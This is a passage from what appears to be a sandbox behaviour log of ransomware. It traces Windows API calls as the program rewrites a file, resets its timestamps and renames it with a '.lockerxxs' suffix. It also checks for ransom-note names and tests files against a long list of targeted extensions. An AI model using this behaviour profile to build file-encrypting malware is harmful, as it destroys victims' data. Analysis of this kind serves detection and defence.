(in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x140b [0065.268] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xb3559c00, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x51a61ad0, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xb3559c00, dwHighDateTime=0x1c747ea)) returned 1 [0065.268] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.269] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x13e5, lpOverlapped=0x0) returned 1 [0065.274] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg") returned="BriefcaseIcon.jpg" [0065.275] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.275] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x13e5, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x13e5, lpOverlapped=0x0) returned 1 [0065.275] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.275] CloseHandle (hObject=0x98) returned 1 [0065.287] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\briefcaseicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\briefcaseicon.jpg.lockerxxs")) returned 1 [0065.290] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf76, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="BriefcaseIconMask.bmp", cAlternateFileName="BRIEFC~1.BMP")) returned 1 [0065.290] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.290] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BriefcaseIconMask.bmp") returned 1 [0065.292] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BriefcaseIconMask.bmp") returned 1 [0065.292] lstrcmpiA (lpString1="", lpString2="BriefcaseIconMask.bmp") returned -1 [0065.292] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg") returned="BriefcaseIcon.jpg" [0065.292] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" [0065.292] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="" [0065.292] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" [0065.292] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\how to decrypt files.txt")) returned 0x20 [0065.292] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="BriefcaseIconMask.bmp" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp" [0065.292] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.ems") returned 0 [0065.292] lstrlenA (lpString="*.ems") returned 5 [0065.292] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.db") returned 0 [0065.292] lstrlenA (lpString="*.db") returned 4 [0065.292] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.dbf") returned 0 [0065.292] lstrlenA (lpString="*.dbf") returned 5 [0065.292] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.myox") returned 0 [0065.293] lstrlenA (lpString="*.myox") returned 6 [0065.293] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.myo") returned 0 [0065.293] lstrlenA (lpString="*.myo") returned 5 [0065.293] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.qbw") returned 0 [0065.294] lstrlenA (lpString="*.qbw") returned 5 [0065.294] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.qbb") returned 0 [0065.294] lstrlenA (lpString="*.qbb") returned 5 [0065.294] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.qbm") returned 0 [0065.294] lstrlenA (lpString="*.qbm") returned 5 [0065.294] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.qbo") returned 0 [0065.294] lstrlenA (lpString="*.qbo") returned 5 [0065.294] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.qbx") returned 0 [0065.294] lstrlenA (lpString="*.qbx") returned 5 [0065.294] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.qba") returned 0 [0065.294] lstrlenA (lpString="*.qba") returned 5 [0065.294] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.qby") returned 0 [0065.294] lstrlenA (lpString="*.qby") returned 5 [0065.294] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.qbj") returned 0 [0065.295] lstrlenA (lpString="*.qbj") returned 5 [0065.295] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.ofx") returned 0 [0065.295] lstrlenA (lpString="*.ofx") returned 5 [0065.295] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.qif") returned 0 [0065.295] lstrlenA (lpString="*.qif") returned 5 [0065.295] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.mye") returned 0 [0065.295] lstrlenA (lpString="*.mye") returned 5 [0065.295] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.mbox") returned 0 [0065.295] lstrlenA (lpString="*.mbox") returned 6 [0065.295] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.eml") returned 0 [0065.295] lstrlenA (lpString="*.eml") returned 5 [0065.295] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.pst") returned 0 [0065.295] lstrlenA (lpString="*.pst") returned 5 [0065.295] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.ost") returned 0 [0065.295] lstrlenA (lpString="*.ost") returned 5 [0065.295] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.idx") returned 0 [0065.295] lstrlenA (lpString="*.idx") returned 5 [0065.295] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.dbx") returned 0 [0065.295] lstrlenA (lpString="*.dbx") returned 5 [0065.295] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.sql") returned 0 [0065.295] lstrlenA (lpString="*.sql") returned 5 [0065.295] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.mdb") returned 0 [0065.295] lstrlenA (lpString="*.mdb") returned 5 [0065.295] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.fdb") returned 0 [0065.295] lstrlenA (lpString="*.fdb") returned 5 [0065.295] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.wab") returned 0 [0065.295] lstrlenA (lpString="*.wab") returned 5 [0065.295] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.dat") returned 0 [0065.295] lstrlenA (lpString="*.dat") returned 5 [0065.295] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.txt") returned 0 [0065.295] lstrlenA (lpString="*.txt") returned 5 [0065.296] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.jpeg") returned 0 [0065.296] lstrlenA (lpString="*.jpeg") returned 6 [0065.296] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.jpg") returned 0 [0065.296] lstrlenA (lpString="*.jpg") returned 5 [0065.296] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.png") returned 0 [0065.296] lstrlenA (lpString="*.png") returned 5 [0065.296] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.php") returned 0 [0065.296] lstrlenA (lpString="*.php") returned 5 [0065.296] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.cs") returned 0 [0065.296] lstrlenA (lpString="*.cs") returned 4 [0065.296] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.cpp") returned 0 [0065.296] lstrlenA (lpString="*.cpp") returned 5 [0065.296] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.rar") returned 0 [0065.296] lstrlenA (lpString="*.rar") returned 5 [0065.296] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.zip") returned 0 [0065.296] lstrlenA (lpString="*.zip") returned 5 [0065.296] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.html") returned 0 [0065.296] lstrlenA (lpString="*.html") returned 6 [0065.296] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.htm") returned 0 [0065.296] lstrlenA (lpString="*.htm") returned 5 [0065.296] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.xlsx") returned 0 [0065.296] lstrlenA (lpString="*.xlsx") returned 6 [0065.296] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.xls") returned 0 [0065.296] lstrlenA (lpString="*.xls") returned 5 [0065.296] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.mp4") returned 0 [0065.296] lstrlenA (lpString="*.mp4") returned 5 [0065.296] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.ppt") returned 0 [0065.296] lstrlenA (lpString="*.ppt") returned 5 [0065.296] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.pptx") returned 0 [0065.296] lstrlenA (lpString="*.pptx") returned 6 [0065.297] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.doc") returned 0 [0065.297] lstrlenA (lpString="*.doc") returned 5 [0065.297] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.dot") returned 0 [0065.297] lstrlenA (lpString="*.dot") returned 5 [0065.297] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.docx") returned 0 [0065.297] lstrlenA (lpString="*.docx") returned 6 [0065.297] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.7z") returned 0 [0065.297] lstrlenA (lpString="*.7z") returned 4 [0065.297] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.tar") returned 0 [0065.297] lstrlenA (lpString="*.tar") returned 5 [0065.297] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.bz2") returned 0 [0065.297] lstrlenA (lpString="*.bz2") returned 5 [0065.297] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.gz") returned 0 [0065.297] lstrlenA (lpString="*.gz") returned 4 [0065.297] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.mkv") returned 0 [0065.297] lstrlenA (lpString="*.mkv") returned 5 [0065.297] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.eml") returned 0 [0065.297] lstrlenA (lpString="*.eml") returned 5 [0065.297] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.msg") returned 0 [0065.297] lstrlenA (lpString="*.msg") returned 5 [0065.297] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.edb") returned 0 [0065.297] lstrlenA (lpString="*.edb") returned 5 [0065.297] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.accdb") returned 0 [0065.297] lstrlenA (lpString="*.accdb") returned 7 [0065.297] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.odb") returned 0 [0065.297] lstrlenA (lpString="*.odb") returned 5 [0065.297] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.java") returned 0 [0065.297] lstrlenA (lpString="*.java") returned 6 [0065.298] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.asm") returned 0 [0065.298] lstrlenA (lpString="*.asm") returned 5 [0065.298] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.pfx") returned 0 [0065.298] lstrlenA (lpString="*.pfx") returned 5 [0065.298] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.pem") returned 0 [0065.298] lstrlenA (lpString="*.pem") returned 5 [0065.298] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.p12") returned 0 [0065.298] lstrlenA (lpString="*.p12") returned 5 [0065.298] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.gpg") returned 0 [0065.298] lstrlenA (lpString="*.gpg") returned 5 [0065.298] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.vsd") returned 0 [0065.298] lstrlenA (lpString="*.vsd") returned 5 [0065.298] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.odg") returned 0 [0065.298] lstrlenA (lpString="*.odg") returned 5 [0065.298] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.raw") returned 0 [0065.298] lstrlenA (lpString="*.raw") returned 5 [0065.298] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.nef") returned 0 [0065.298] lstrlenA (lpString="*.nef") returned 5 [0065.298] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.svg") returned 0 [0065.298] lstrlenA (lpString="*.svg") returned 5 [0065.298] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.psd") returned 0 [0065.299] lstrlenA (lpString="*.psd") returned 5 [0065.299] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.vmx") returned 0 [0065.299] lstrlenA (lpString="*.vmx") returned 5 [0065.299] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.vmdk") returned 0 [0065.299] lstrlenA (lpString="*.vmdk") returned 6 [0065.299] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.vdi") returned 0 [0065.299] lstrlenA (lpString="*.vdi") returned 5 [0065.299] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.lay6") returned 0 [0065.299] lstrlenA (lpString="*.lay6") returned 6 [0065.299] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.mpeg") returned 0 [0065.299] lstrlenA (lpString="*.mpeg") returned 6 [0065.299] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.djvu") returned 0 [0065.299] lstrlenA (lpString="*.djvu") returned 6 [0065.299] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.tiff") returned 0 [0065.299] lstrlenA (lpString="*.tiff") returned 6 [0065.299] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.backup") returned 0 [0065.299] lstrlenA (lpString="*.backup") returned 8 [0065.299] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.pdf") returned 0 [0065.299] lstrlenA (lpString="*.pdf") returned 5 [0065.299] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.cert") returned 0 [0065.299] lstrlenA (lpString="*.cert") returned 6 [0065.299] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.docm") returned 0 [0065.299] lstrlenA (lpString="*.docm") returned 6 [0065.299] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.xlsm") returned 0 [0065.299] lstrlenA (lpString="*.xlsm") returned 6 [0065.299] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.dwg") returned 0 [0065.300] lstrlenA (lpString="*.dwg") returned 5 [0065.300] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.nd") returned 0 [0065.300] lstrlenA (lpString="*.nd") returned 4 [0065.300] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.tlg") returned 0 [0065.300] lstrlenA (lpString="*.tlg") returned 5 [0065.300] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.lgb") returned 0 [0065.300] lstrlenA (lpString="*.lgb") returned 5 [0065.300] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.mov") returned 0 [0065.300] lstrlenA (lpString="*.mov") returned 5 [0065.300] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.xdw") returned 0 [0065.300] lstrlenA (lpString="*.xdw") returned 5 [0065.300] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.ods") returned 0 [0065.300] lstrlenA (lpString="*.ods") returned 5 [0065.300] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.wav") returned 0 [0065.300] lstrlenA (lpString="*.wav") returned 5 [0065.300] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.mp3") returned 0 [0065.300] lstrlenA (lpString="*.mp3") returned 5 [0065.300] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.aiff") returned 0 [0065.300] lstrlenA (lpString="*.aiff") returned 6 [0065.300] PathMatchSpecA 